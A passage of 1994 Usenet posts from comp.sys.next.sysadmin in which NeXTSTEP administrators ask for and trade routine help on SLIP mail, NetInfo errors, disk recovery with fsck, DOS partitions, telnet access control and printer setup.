In article <2hg409INN4tb@flop.ENGR.ORST.EDU>
briggss@mundania.CS.ORST.EDU (S. Briggs) writes:
>
> I'm running NeXTSTEP 3.2 for intel. My modem is on the second
serial port,
> how do I dialout to another unix box? I've tried cu, but I'm not
sure what
> device I should be accessing.
Newsgroups: comp.sys.next.sysadmin
From: chris@its.com (Chris Cuilla)
Subject: Novell/NEXTSTEP networking & token-ring
Message-ID: <1994Jan18.213134.15701@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
Date: Tue, 18 Jan 1994 21:31:34 GMT
Is is possible to have a token-ring network with a bunch of NEXTSTEP/Intel
machines (w/token-ring cards of course) capable of seeing the NEXTSTEP
network when booted in NS, and then seeing the NetWare/DOS/PC network when
booted in DOS/Windows?
On the topic of token-ring...any opinions about (w/NEXTSTEP):
Intel TokenExpress ISA16/S
or
IBM Token 16/4
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From: doyle@prufrock.rockefeller.edu (Mark D. Doyle)
Newsgroups: comp.sys.next.sysadmin
Subject: SLIP and receiving mail
Message-ID: <1994Jan18.162910.2565@rockyd.rockefeller.edu>
Organization: Rockefeller University
Date: Tue, 18 Jan 94 16:29:10 EST
Hi all,
I have successfully set up my machine at home as a slip client of our
cluster of NeXT's at work, and everything works very well. But there is one
annoying thing. Our university's mail relay machine only checks every
half an hour to see if a machine is up to receive mail. This means that
for me to be sure that I have received any mail sent to my machine, I have
to have my SLIP connection up for at least that long. For now that is OK
since I have figured out when the daemon checks, but as soon as the mail
relay machine is rebooted this will change. So, I would much prefer a way
to make my SLIP server accept mail for my machine at home and then be able
to force it to forward any mail on demand. That way I could just bring up my
slip connection, log into our NeXT cluster, and ask it to forward the mail.
Does anyone have any ideas about how to go about doing this? (I should
perhaps mention that the slip server is not the netinfo and mail server
for the cluster at work).
Thanks,
Mark Doyle
doyle@theory.rockefeller.edu
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From: jamison@metropolis.com (John L. Jamison)
Subject: Help finding CPU consuming process
Message-ID: <9401181419.AA00573@jamison_john.eclipse.metropolis.com>
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Organization: Metropolis Software, Inc.
Date: Tue, 18 Jan 1994 16:19:00 GMT
We use a Next cube as a mail and news server only. Occasionally the
machine just seems to spin out of control - ie: some process is chewing up
all of the CPU time, but by the time I issue a ps command to see which
process it is, the process is gone.
Can anyone offer suggestions on trying to find this particular process?
Thanks
-John Jamison
jamison@metropolis.com
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John Jamison
Metropolis Software, Inc.
jamison@metropolis.com
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From: jamison@metropolis.com (John L. Jamison)
Subject: Adding aliases to NetInfoMgr using command line
Message-ID: <9401181423.AA06319@jamison_john.eclipse.metropolis.com>
Sender: news@metropolis.com
Organization: Metropolis Software, Inc.
Date: Tue, 18 Jan 1994 16:23:06 GMT
I find the interface for creating aliases with NetInfoMgr to be obtuse and
basically unusable. Is there a way to add aliases to NetInfoMgr without
using the GUI interface? ie: a command-line interface? For each new login I
create 3 or 4 aliases and would like a nice and simple way to do this from
the command line.
-Thanks
John Jamison
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John Jamison
Metropolis Software, Inc.
jamison@metropolis.com
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From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Subject: PLP ??
Message-ID: <1994Jan18.230720.27102@kakwa.ucs.ualberta.ca>
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Organization: University Of Alberta, Edmonton Canada
Date: Tue, 18 Jan 1994 23:07:20 GMT
I am attempting to get Patrick Powell's PLP program up and running on
Next (Black hardware) as I am getting annoyed with some of the
undocumented features (bugs) in Next/bsd version of lpd/lpr.
While I've been able to compile it without hassle, to date I've not
gotten it to work.
Anyone managed to do this?
(For those of you who are interested, PLP supports nfs spool
directories, more verbose diagnostics, 38 KB serial ports, lpc that
doesn't clear the print spool when restarting the printer, a somewhat
more robust daemon, customizable filters...)
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=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: takken@raven.Stanford.EDU (Todd Takken)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Backing out of a symbolically linked subdirectory
Date: 18 Jan 1994 19:27:59 GMT
Organization: Stanford University
Distribution: su
Message-ID: <2hhd7v$61e@nntp2.Stanford.EDU>
References: <westesCJrMD2.108@netcom.com>
In article <westesCJrMD2.108@netcom.com> westes@netcom.com (Will Estes)
writes:
> When I change directories into a symbolically linked directory and
> then back out (cd ..), this places me in the parent of the real
> directory, and not back where I just was (in the "symbolic" parent)
> when I entered the symbolically linked directory. Is there any way
> to change this behavior so that I can traverse the file tree back up
> the way I came in?
>
> --
> Will Estes Internet: westes@netcom.com
Try the csh commands pushd and popd instead of cd.
-- Todd Takken
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From: root@behre.han.de (Wolfgang Sander-Beuermann)
Subject: Re: Improved telnetd anyone?
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References: <2hbou9$63s@news.intercon.com>
Organization: priv. site, Nienhorst, Germany
Date: Tue, 18 Jan 1994 04:33:46 GMT
Message-ID: <1994Jan18.043346.339@behre.han.de>
David Casti (disc@vector.casti.com) wrote:
> I'm looking for a version of telnetd that will check the host/IP someone is
> telnetting from and disallow their connection if they aren't coming from
> an approved system. This needs to be configurable on a user-by-user
> basis; kind of like an anti-rhosts file. I have a NeXT, so preferably
> the code would already be ported, but if it isn't, that's OK. At this
> point I'm looking for anything to go on...
It looks like you need the tcp-wrapper. That would allow you to handle
*any* tcp (and udp) request up to your requirements. So you could
easily exclude certain hosts/users from telnetting and whatever you'd
like. Check out archie for 'tcpd' to find the sources.
Wolfgang Sander-Beuermann Nienhorst, Germany root@behre.han.de
Newsgroups: comp.sys.next.sysadmin
From: jimbo@oingo.umn.edu
Subject: Command+~ Is a Farce!!!!
Message-ID: <CJuxAM.JB@news2.cis.umn.edu>
Sender: news@news2.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota, Twin Cities
Date: Wed, 19 Jan 1994 03:13:39 GMT
Think about it. It doesn't relly work!
From: djs16@po.CWRU.Edu (Donald J. Siegel)
Newsgroups: comp.sys.next.sysadmin
Subject: Help! Netinfo Communication Problem...
Date: 19 Jan 1994 03:58:27 GMT
Organization: Case Western Reserve University, Cleveland, Ohio (USA)
Message-ID: <2hib53$ldj@usenet.INS.CWRU.Edu>
Well, I've just completed my upgrade to NS3.2 Moto, and I've
run across some problems trying to get my system network-ready
again. Here's what happened:
1. used the automatic upgrade plan after backing-up
most of the config files in /etc.
2. after upgrade I find that I can't telnet out of my
machine. Apparently there's some sort of
netinfo problem. That is, the boot messages
report a 'netinfo communication failure.'
Indeed, I can't even use niload to, say, add
a hosts file.
3. so, for lack of a better thing to do, I disconnect
my computer from the network and follow the
directions in the sysadmin manual on how to
build a fresh netinfo database. That is, I
replace the /etc/hostconfig file and the files
in /etc/netinfo/local.nidb.
4. next, I reboot the system and start up Simple Net.
Starter and choose the option for a standalone
system. I go through the procedures of adding
my university-assigned ip address, hostname,
netmask, broadcast address, etc. Finally,
I attach my computer to the net and build the
connection.
5. so, next I reboot and get the SAME netinfo errors.
Now I'm confused! How can this be so?
So, essentially, I'm stuck...eventhough I know I have all the
info I need to perform the set-up properly (my domain name has
been added to /etc/resolv.conf along with the ip addresses of
the school's two name servers, I'm using the same sendmail.cf
as before, etc...).
My goal is to have my simple stand-alone NeXT functioning on
my school's network as it was before...
Oh, btw, my system was originally set-up to function,
supposedly, independent of netinfo. That is, before the
upgrade to 3.2 the system should have relied solely on flatfile
data (although I recall seeing boot-time errors about problems
locating the parent netinfo server) could my system's previous
configuration have any effect on the problems now present?
Well, anyhow, thanks in advance for the help.
I can provide more info if necessary...
later,
don...
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From: cbradley@bozell.com (Chris Bradley)
Subject: Re: How to observe IPX traffic ?
Message-ID: <1994Jan18.231103.8467@bozell.com>
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Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc.
References: <2h3q8l$6gl@bock.freiburg.sub.org>
Date: Tue, 18 Jan 1994 23:11:03 GMT
In article <2h3q8l$6gl@bock.freiburg.sub.org>
wolpert@dsint1.ds2i.freiburg.sub.com (Florian Wolpert) writes:
> Is it possible to control and observe the traffic of ipx-packets on a
> NeXTstation which is connected to a novell server ?
> If so, how ?
With a Sniffer(TM).
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From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.ibm.pc.hardware,comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: Re: Adding IDE drive to SCSI System?
Date: 18 Jan 1994 20:52:57 +0100
Organization: Palumbian Research Labs
Message-ID: <2hhemp$fg@marsu.tynet.sub.org>
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gpmenos@firestone.Princeton.EDU (Gerard Philippe Menos) writes:
>I have a system that presently boots from a SCSI drive; I would like
>to add an IDE drive as drive d: (i.e., not boot from the ide drive).
>Do you know if this can be done? I an guessing that this will work if
>I connect the ide drive in the usual manner, but identify it in the
>PC's BIOS setup as the second drive...
>Any thoughts?
You just have to include the IDE driver for NeXTSTEP with Configure.app
and attach the IDE drive. Declare the IDE drive as first drive in your
BIOS. Anything you have to do now is to type
"sd()mach_kernel rootdev=sd0a"
at the prompt each time you want to boot NeXTSTEP.
If you don't boot your system too often, this is no big deal.
Regards,
Markus.
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zufrieden leben." -- Frankie: "Ach was, die emulieren das doch nur!"
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Markus Wenzel System administration, Consulting, Networking
mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT
IRC: Marsu Intel aside.
From: schake@tesuque.cs.sandia.gov (Stefan Chakerian)
Newsgroups: comp.sys.next.sysadmin,comp.unix.admin,comp.unix.questions
Subject: Re: Improved telnetd anyone?
Date: 18 Jan 1994 22:32:55 -0700
Organization: Adventures in Supercomputing, Sandia National Laboratories
Message-ID: <2higm7$pid@tesuque.cs.sandia.gov>
References: <2hbou9$63s@news.intercon.com> <2hdefdINNl3s@rodan.UU.NET> <2hei3oINNlmh@early-bird.think.com>
In article <2hei3oINNlmh@early-bird.think.com>,
Barry Margolin <barmar@think.com> wrote:
>In article <2hdefdINNl3s@rodan.UU.NET> alby@uunet.uu.net (Anthony Williams) writes:
>> The program TCP_WRAPPER on info.cert.org will allow or
>>deny any telnet's,ftp's,fingers, etc.. from any site you specify
>
>But he asked for something that would work on a per-user basis.
>TCP_WRAPPER uses the same allow/deny list for all connections to a port.
Right, and there's no way to know who the user is since telnet asks for a
login. Probably, the tcp_wrapper is the way to go, otherwise you'd have
to hack telnetd to look in some sort of ACL.
stef
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From: cks!root (Operator)
Subject: Re: X25 soft
Message-ID: <1994Jan16.203832.445@cks.fdn.org>
Sender: root@cks.fdn.org (Operator)
Organization: C.K.S - Nantes France
Date: Sun, 16 Jan 1994 20:38:32 GMT
> Hi,
>
> which X.25 software products are avaivable to connect a NeXT (black
hardware,
> NextStep 3.2) to X.25 ?
> --
> Thanks! -Micha Neef-
> neef@neuroinformatik.ruhr-uni-bochum.de
>
We have, but for NS on Intel only.
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From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Help! Netinfo Communication Problem...
Message-ID: <1994Jan19.101110.6152@seer.demon.co.uk>
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
References: <2hib53$ldj@usenet.INS.CWRU.Edu>
Date: Wed, 19 Jan 1994 10:11:10 GMT
In article <2hib53$ldj@usenet.INS.CWRU.Edu> djs16@po.CWRU.Edu (Donald J.
Siegel) writes:
>
> Well, I've just completed my upgrade to NS3.2 Moto, and I've
> run across some problems trying to get my system network-ready
> again. Here's what happened:
>
> 4. next, I reboot the system and start up Simple Net.
> Starter and choose the option for a standalone
> system. I go through the procedures of adding
> my university-assigned ip address, hostname,
> netmask, broadcast address, etc. Finally,
> I attach my computer to the net and build the
> connection.
> 5. so, next I reboot and get the SAME netinfo errors.
> Now I'm confused! How can this be so?
If it is the same as with 3.2 Intel, it is (IMHO) a bug. If you give both
a hostname and an IP address to a machine that is not connected to a
network, netinfo will refuse to initialise. This shows itself as a error
panel about "automounter".
The workaround is to only give a hostname, never an IP address, until you
have a network to connect your system to. This means that you can only
run SNS on a network, and never on a standalone machine.
Paul
--
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P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
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From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: SLIP and receiving mail
Message-ID: <1994Jan19.101834.6225@seer.demon.co.uk>
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
References: <1994Jan18.162910.2565@rockyd.rockefeller.edu>
Date: Wed, 19 Jan 1994 10:18:34 GMT
In article <1994Jan18.162910.2565@rockyd.rockefeller.edu>
doyle@prufrock.rockefeller.edu (Mark D. Doyle) writes:
> Hi all,
>
> I have successfully set up my machine at home as a slip client of our
> cluster of NeXT's at work, and everything works very well. But there is
one
> annoying thing. Our university's mail relay machine only checks every
> half an hour to see if a machine is up to receive mail. This means that
> for me to be sure that I have received any mail sent to my machine, I
have
> to have my SLIP connection up for at least that long. For now that is OK
> since I have figured out when the daemon checks, but as soon as the mail
> relay machine is rebooted this will change. So, I would much prefer a
way
> to make my SLIP server accept mail for my machine at home and then be
able
> to force it to forward any mail on demand. That way I could just bring
up my
> slip connection, log into our NeXT cluster, and ask it to forward the
mail.
> Does anyone have any ideas about how to go about doing this? (I should
> perhaps mention that the slip server is not the netinfo and mail server
> for the cluster at work).
There is a nice chapter in the sendmail book about Queues, and includes a
section on configuring a separate queue for a down site, and delivering on
demand. You would need root access on the mailhost, or at least a lot of
cooperation from the sysadmin, though. This could be done using your SLIP
server, with a little cooperation from the sysadmin.
A much simpler solution would be to use Transfer, from Pinnacle; or the
mail deliver shell scripts that come with SLIPCommander. Both could be
configured to work in your configuration.
Paul
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P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
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From: jamison@metropolis.com (John L. Jamison)
Subject: Strange error messages
Message-ID: <9401181517.AA24268@jamison_john.eclipse.metropolis.com>
Sender: news@metropolis.com
Organization: Metropolis Software, Inc.
Date: Tue, 18 Jan 1994 17:17:24 GMT
I have the following messages in /usr/adm/messages. I could use some help -
what do these mean?
Thanks
John Jamison
-------------------- M e s s a g e s ----------------------
Jan 18 10:30:00 metrop mach: spurious DMA interrupt: state 0x1000000 channel
0x2000110
Jan 18 12:32:53 metrop mach: spurious DMA interrupt: channel 0x2000110
******************************************************
John Jamison
Metropolis Software, Inc.
jamison@metropolis.com
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From: fabien@free (Fabien Roy)
Subject: Re: Can't access internal hard drive
Message-ID: <1994Jan17.232526.1861@free.fdn.org>
Sender: news@free.fdn.org
Organization: Fabien Roy Electronic Engineering (F.R.E.E.) - Paris, France.
References: <2gsl9h$lgg@phakt.usc.edu>
Date: Mon, 17 Jan 1994 23:25:26 GMT
In article <2gsl9h$lgg@phakt.usc.edu> cyee@phakt.usc.edu (It's me.)
writes:
> Hello,
>
> I need some help in recovering some file in my internal hard drive.
> I lost access to it after upgrading to NS 3.2 black. My boot
> drive is an external drive (SCSI ID 0).
>
> The problem is after login it tells me that the internal drive
> is damage and ask if I won't to repair. After say yes, I get this
> in the Console:
> null pointer): BAD SUPER BLOCK: MAGIC NUMBER WRONG
> (null pointer): USE -b OPTION TO FSCK TO SPECIFY LOCATION OF AN
ALTERNATE
> (null pointer): SUPER-BLOCK TO SUPPLY NEEDED INFORMATION; SEE fsck(8).
>
> (null pointer): UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY.
> [try one more time...]
> /usr/etc/fsck -p /dev/rsd1a
> (null pointer): BAD SUPER BLOCK: MAGIC NUMBER WRONG
> (null pointer): USE -b OPTION TO FSCK TO SPECIFY LOCATION OF AN
ALTERNATE
> (null pointer): SUPER-BLOCK TO SUPPLY NEEDED INFORMATION; EE fsck(8).
>
> (null pointer): UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY.
>
>
> I have tried it manually, I get similar message.
>
> Any help is appreciated.
> Thanks in advance.
>
>
> -Cliff
> cyee@usc.edu
>
Try to get backup superblocks address with /etc/disk like this
free# disk /dev/rsd1a
disk name: SEAGATE ST1480
disk type: fixed_rw_scsi
Disk utility
disk> scan
Backup superblocks at:
8 16 4656 9296 13936 18576 23216 27856 32496 etc...
then
/usr/etc/fsck -b16 (or any backup superblock adress) /dev/rsd1a
Good luck!
--Fabien
___________________________________________________________________
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NeXTmail OK
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From: fabien@free (Fabien Roy)
Subject: Re: How do you mount a dos partition on a 2nd drive?
Message-ID: <1994Jan17.233739.1937@free.fdn.org>
Sender: news@free.fdn.org
Organization: Fabien Roy Electronic Engineering (F.R.E.E.) - Paris, France.
References: <1994Jan17.065345.879@beaver.cs.washington.edu>
Date: Mon, 17 Jan 1994 23:37:39 GMT
In article <1994Jan17.065345.879@beaver.cs.washington.edu>
fineman@cs.washington.edu (Lucifer Sam) writes:
>
> I've got a 2nd IDE disk set up in my white NS system; I used fdisk to
> partition it, for DOS & NS. Everything initialized & mounted just
> fine for the NS partition, but the dos partition doesn't mount on
> login. I have a small dos partition on the root disk, and that
> automagically mounts on login. The 2nd partition on the 2nd disk is
> formatted & all that.
>
> I'm suspecting that i'll have to stick a line in my /etc/fstab file,
> but i'm not sure what; any help out there?
>
> danke
> dan
Just type /usr/etc/mount -t dos /dev/rsdXh /MyDosDirectory
X stand for volume number.
Have fun 8-)
--Fabien
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NeXTmail OK
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From: fabien@free (Fabien Roy)
Subject: Re: How do you mount a dos partition on a 2nd drive?
Message-ID: <1994Jan17.234626.2021@free.fdn.org>
Sender: news@free.fdn.org
Organization: Fabien Roy Electronic Engineering (F.R.E.E.) - Paris, France.
References: <1994Jan17.233739.1937@free.fdn.org>
Date: Mon, 17 Jan 1994 23:46:26 GMT
In article <1994Jan17.233739.1937@free.fdn.org> fabien@free (Fabien Roy)
writes:
> In article <1994Jan17.065345.879@beaver.cs.washington.edu>
> fineman@cs.washington.edu (Lucifer Sam) writes:
> >
> > I've got a 2nd IDE disk set up in my white NS system; I used fdisk to
> > partition it, for DOS & NS. Everything initialized & mounted just
> > fine for the NS partition, but the dos partition doesn't mount on
> > login. I have a small dos partition on the root disk, and that
> > automagically mounts on login. The 2nd partition on the 2nd disk is
> > formatted & all that.
> >
> > I'm suspecting that i'll have to stick a line in my /etc/fstab file,
> > but i'm not sure what; any help out there?
> >
> > danke
> > dan
>
> Just type /usr/etc/mount -t dos /dev/rsdXh /MyDosDirectory
> X stand for volume number.
>
> Have fun 8-)
>
> --Fabien
> ___________________________________________________________________
> Fabien Roy fabien@free.fdn.org
> NeXTmail OK
Sorry rsdXh is for SCSI drives, use rhdXh for IDE drives
--Fabien
___________________________________________________________________
Fabien Roy fabien@free.fdn.org
NeXTmail OK
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From: fabien@free.fdn.org (Fabien Roy)
Subject: Re: NextStep and full filesystem
Message-ID: <1994Jan18.224416.1827@free.fdn.org>
Sender: news@free.fdn.org
Organization: Fabien Roy Electronic Engineering (F.R.E.E.) - Paris, France.
References: <10020001@hpuamsa.neth.hp.com>
Date: Tue, 18 Jan 1994 22:44:16 GMT
In article <10020001@hpuamsa.neth.hp.com> robm@hpuamsa.neth.hp.com (Rob in
der Maur PSO) writes:
> Hello,
>
> For a short period I got hold of a HP486/66U pc loaded with NextStep
3.1.
> Just to experiment with the environment (which I think is the most
> sophisticated you can buy at this moment). However I'm experiencing
problems
> with a full file system.
> When the system boots and the GUI is loaded I can see on the opened
console
> window that the file system is full. Every click on the mouse or press
on a
> button then results in a NextStep waiting cursor for too long (that
means
> I think the system doesn't or can't do anything). So I reset the machine
and
> try to reboot. Same happens.
> When I interrupt the file system checking (which evidently is the result
of
> resetting) I cannot delete files because the file system is made
read-only.
> How can I get out of this deadly embrace. Is there a way to boot with a
> minim system in order to delete some files? Or are there any other
solutions.
>
> Please help a.s.a.p., because I would like to get started with
NextStep....
>
> Kind regards,
>
>
>
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1) Boot in single user:
at the boot prompt type: sd()mach_kernel -s
(or for ide: hd()mach_kernel -s )
2) type: mount -o remount /dev/sd0a /
(or for ide: mount -o remount /dev/hd0a / )
3) type fsck -p
4) if fsck asks you to reboot without sync then reset the machine
5) re: at the boot prompt type: sd()mach_kernel -s
6) check for the free space using df
7) make some place by removing some unimportant files (be careful)
8) type sync;reboot
Cheers :-)
--Fabien
___________________________________________________________________
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NeXTmail OK
From: blake015@mc.duke.edu(Denise Blakeley)
Newsgroups: comp.sys.next.sysadmin
Subject: Need help configuring DialUp-IP
Date: 19 Jan 1994 14:11:44 GMT
Organization: Duke University; Durham, N.C., USA
Message-ID: <2hjf30$iaa@news.duke.edu>
A friend and I are trying to get a SLIP connection going on his home machine, a
standalone '040 Cube running NeXTSTEP 3.2 (although we've had the same results
under 3.0). After many, many hours and several re-installations and several
re-builds of the NetInfo database, we've narrowed our hair-pulling down to two
apparently distinct problems.
1. On p. 11 of the SLIP_920904-A.Manual.ps document it describes the
selections necessary to the "Local Configuration" panel of "NetManager" (which
we interpret to mean HostManager now). It seems whenever we make these
selections and reboot, the NetInfo database is hosed to the point where the
only cure to be able to boot properly again is to re-create the NetInfo
database from scratch as per the Network and System Administration manual.
2. On p. 21 the document it says to add the following to /etc/rc.local:
sh /usr/dialupip/config/rc.slip >/dev/console 2>&1
If we do so and reboot, the boot process appears to go just fine until it's
time for the login window to appear. We get a blank screen with an arrow
pointer, and that's it. I'm puzzled as to how this rc.slip script could be
affecting the login window. We recover from this by booting in single-user
mode, removing the line from rc.local, and booting normally again.
Can you help? We would sure appreciate it!
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Duke Med Center Info Systems | to banging one's head against a wall,
Durham, NC | but with fewer opportunities for
(919) 286-6468 W | reward.
blake015@mc.duke.edu | NeXTMail welcome!
From: edmtl@alf.uib.no (Thor Legvold)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: SLIP and receiving mail
Date: 19 Jan 1994 16:13:19 +0100
Organization: University of Bergen
Message-ID: <2hjimf$1i9@alf.uib.no>
References: <1994Jan18.162910.2565@rockyd.rockefeller.edu> <1994Jan19.101834.6225@seer.demon.co.uk>
While not as elegant, running a POP mail program on your local
NeXT is much easier and efficient. There is a POP3 for NeXT
publicly available, ready to run.
Regards,
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NorNeXT User Group leader | I've ever known...
University of Bergen | - Jim Morrison, The Doors
Norway | edmtl@fiol.uib.no (NeXTmail)
From: root@next.agsm.ucla.edu (Ivo Welch)
Newsgroups: comp.sys.next.sysadmin
Subject: Mode Changes from DiskCopy
Date: 19 Jan 1994 19:37:44 GMT
Organization: UCLA Microcomputer Support Office
Message-ID: <2hk269$21j@news.mic.ucla.edu>
Because my DOS partition was 200MB, I ran into the >64MB DOS partition
bugs of NeXTStep. So, I decided to reformat my hard disk. Easy, I
thought. Use
dump 0f - / | (cd /Target ; restore xf -) and voi-la. At the
end, I get a cryptic message whether I want to set mode/changes to
'.'. I had no idea what I was doing, so I said yes. (Was this wrong?)
Unfortunately, now there are about 150 files for which a
/usr/etc/showmods lists mode changes. The octal codes that come out of
lsmods makes little sense to me; they do not correspond to those used
by chmod. For example, lsmods produces
./usr/etc/dump 102755 0/8 ...morestuff
what do the second and third entries mean? Could someone tell me how
to set these by hand?
As a result of this problem, I can only log in as root, obviously not
my favorite:
Jan 19 10:44:58 next loginwindow[197]: loginwindow: Workspace exited ts 0 cd 0 rc 0 sv 0 ss 0.
Jan 19 10:45:04 next loginwindow[270]: loginwindow: running /usr/lib/NextStep/Workspace.app/Workspace
Jan 19 10:45:05 next Workspace[270]: not installed properly. Must be setuid root, setgid wheel. Exiting.
Thanks for any hints
/ivo welch
PS: By the way, I now have 3 DOS 64MB partitions. Unfortunately, NS can
only see the first. Is this solvable?
From: gt6963c@prism.gatech.EDU (John "Kzin" Rudd)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Removing NeXT Boot Manager
Message-ID: <132783@hydra.gatech.EDU>
Date: 19 Jan 94 19:47:20 GMT
Followup-To: comp.sys.next.misc
Organization: Georgia Institute of Technology
I'm curious what you have to do to get rid of NEXTSTEP boot manager
on NS/Intel. I changed my active partion to another partition..but
I still get the NS boot manager.
I'm planning to install OS/2 soon, and I'll actually be moving the
entire NS partition to anohter drive (reinstalling). I hope that I
don't have to reformat the entire drive just to get rid of the boot
manager. (I plan to use OS/2's boot manager, or anohter boot manager..
preferably one that waits for me to respond, instead of always passing
me bye if I don't.. or at least one that I can configure)
Anyways,
Help would be appreciated.
John
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From: yasu@amaterasu.aware.com (Alan Yasutovich)
Newsgroups: comp.sys.next.sysadmin,comp.unix.admin,comp.unix.questions
Subject: Can't get rid of NIS slave server.
Date: 19 Jan 1994 14:57:58 -0500
Organization: Aware Inc.
Message-ID: <2hk3c6$7qa@amaterasu.aware.com>
I tried, "by the book", to get rid of an NIS slave server.
Yet when I type make I get:
root amaterasu.aware.com 2:54pm-115-/var/yp->make
updated netid
Finding NIS servers:(hierachical push) tycle.aware.com quetz.aware.com gozer.aware.com
NIS server not registered at gozer.aware.com.
quetz.aware.com has been called.
tycle.aware.com has been called.
Status received from ypxfr on quetz.aware.com:
Transfer not done: master's version isn't newer.
Status received from ypxfr on tycle.aware.com:
Transfer not done: master's version isn't newer.
pushed netid
Where gozer is the slave I want to get rid of.
How can I flush this thing?
--
Alan Yasutovich
"inquiring (and nosey) minds WANT TO KNOW!!!"
I can remember when "safe sex" meant having a padded headboard!!
Tick Tock.....Tick Tock......Tick Tock .....Tick Tock......
From: ridgway@inls3.tmc.edu (Doug Ridgway)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Dot matrix printer drivers
Date: 19 Jan 1994 20:40:02 GMT
Organization: Institute for NonLinear Science, UCSD
Message-ID: <2hk5r2INN5kk@network.ucsd.edu>
I'm confused on the subject of dot matrix printer drivers for NS.
The 3.1 distribution includes drivers for IBM Proprinter and
Epson LQ compatible printers. There are also commercial products (Dots
and JetDriver) that do a similar thing for HP PCL compatible printers.
On sonata there is also something to drive an HP550C using ghostscript.
My situation is that I have a Canon BJ200, which is Proprinter compatible.
The Next supplied driver works okay, but only seems to support 180dpi.
For 3.2 I remeber reading that these drivers were unbundled and sold
separately, does anyone know if they support higher resolution for inkjets?
Should I start messing around with ghostscript? Or should I go trade my
printer for an HP compatible one and buy one of the commercial packages?
My bottom line is that I am looking for basic ineqpensive B&W output, but
as long as I've got a 360dpi printer I'd like to print 360dpi.
Thanks for your help,
doug.
(should this possibly become part of the FAQ?)
From: Tim Bissell
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: Illumination of ps(1) output anybody?
Date: 19 Jan 1994 09:52:50 GMT
Organization: Swiss Bank Corporation, High Timber St, London, UK
Message-ID: <2hivti$74l@gpo.gb.swissbank.com>
Keywords: ps
Does anyone know why the output of the ps(1) command puts some command
names in parentheses? Are they all children of init(1)? I coulden't
find any explanation in the ps man page.
$ ps auxww
...
bisselt 239 0.8 1.3 1.73M 432K p1 S 0:01 -bash (bash)
root 2 0.0 0.2 768K 72K co S 0:02 (mach_init)
..
root 21 0.0 1.0 6.66M 312K ? S 0:01 (nmserver)
root 104 0.0 0.3 1.51M 112K ? SW 0:00 (ypbind)
..
root 120 0.0 0.2 1.59M 64K ? S 0:04 (biod)
--
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From: dbeausan@jet.Mines.Colorado.EDU (David G. Beausang)
Subject: NewsGrazer missing groups
Sender: news@slate.mines.colorado.edu
Message-ID: <1994Jan19.214434.5961@slate.mines.colorado.edu>
Date: Wed, 19 Jan 1994 21:44:34 GMT
Organization: Colorado School of Mines
Keywords: NewsGrazer, news
I am having a problem with NewsGrazer. There are certain news groups
which NewsGrazer does not display. For example, sci.astro is not present,
however, sci.astro.fits, sci.astro.hubble, and sci.astro.planetarium are
present. Using another newsreader, for example tin, sci.astro is present.
(Another missing group is misc.jobs.offered; this group also has
subgroups.) It appears that the problem is related to a group that also
has a subgroup sharing a common name segment. The problem does not affect
all groups that have the stated relationship.
Is this a configuration problem which is my fault and I can correct?
Is this a known problem with/without a work around?
Is there a more appropriate person/place to query?
I will summarize if appropriate.
Thanks,
David Beausang
dgb@Mines.Colorado.EDU
From: jim@pasteur.hsf.uab.edu (Jim Hill)
Newsgroups: comp.sys.next.sysadmin
Subject: Form Feed (Page Break)
Date: 19 Jan 1994 16:39:52 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9401192238.AA19544@pasteur.hsf.uab.edu>
We have a user who wants to put a mandatory page break (FF) in an
Edit document. Anyone done this before?
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Newsgroups: comp.sys.next.sysadmin
From: ron@nosc.mil (Ron Broersma)
Subject: Re: SLIP and receiving mail
Message-ID: <1994Jan19.232309.25599@nosc.mil>
Sender: news@nosc.mil (Network News)
Organization: NCCOSC RDT&E Division, San Diego, CA
References: <1994Jan18.162910.2565@rockyd.rockefeller.edu>
Date: Wed, 19 Jan 1994 23:23:09 GMT
The thing we use which works well in our environment is to just NFS mount the
/usr/spool/mail directory from the server and use the NextMail app in its
native form. Depending on how you are set up, you may need to update the
"Spool Dir" in Preferences to point it at the right place.
--Ron
Newsgroups: comp.sys.next.sysadmin
From: bobcook@slac.stanford.edu (Bob Cook)
Subject: Re: Adding a remote printer
Message-ID: <CJwH1F.Arw@unixhub.SLAC.Stanford.EDU>
Sender: news@unixhub.SLAC.Stanford.EDU
Organization: Stanford Linear Accelerator Center
References: <westesCJpEDz.80z@netcom.com>
Date: Wed, 19 Jan 1994 23:24:50 GMT
Will Estes writes
>I want to print from NS 3.2 to a MS-windows machine running an LPD
>daemon. I went to dump the NetInfo database with:
> nidump printcap .
>and I got the error message:
> Printer Local_Printer can't be represented in printcap format.
>
>So how do I add a printcap entry?
The printcap entry for Local_Printer (a NeXT printer) has more stuff than for
"ordinary" printers. So you can add an ordinary printer with an ordinary
printcap entry, like:
>
>Also, what's the format for the printcap entry. I was going to try
>something like:
>
>uschome|uschome printer:\
> :lp=:\
> :of=/usr/lib/lpdfilters/lpf:\
> :mx#0:\
> :rm=uschome:\
> :rp=lpt3:\
> :sd=/usr/spool/lpd:\
> :lf=/usr/adm/lpd-errs:
Niload will load such an ordinary entry just fine into printcap; and lpr can
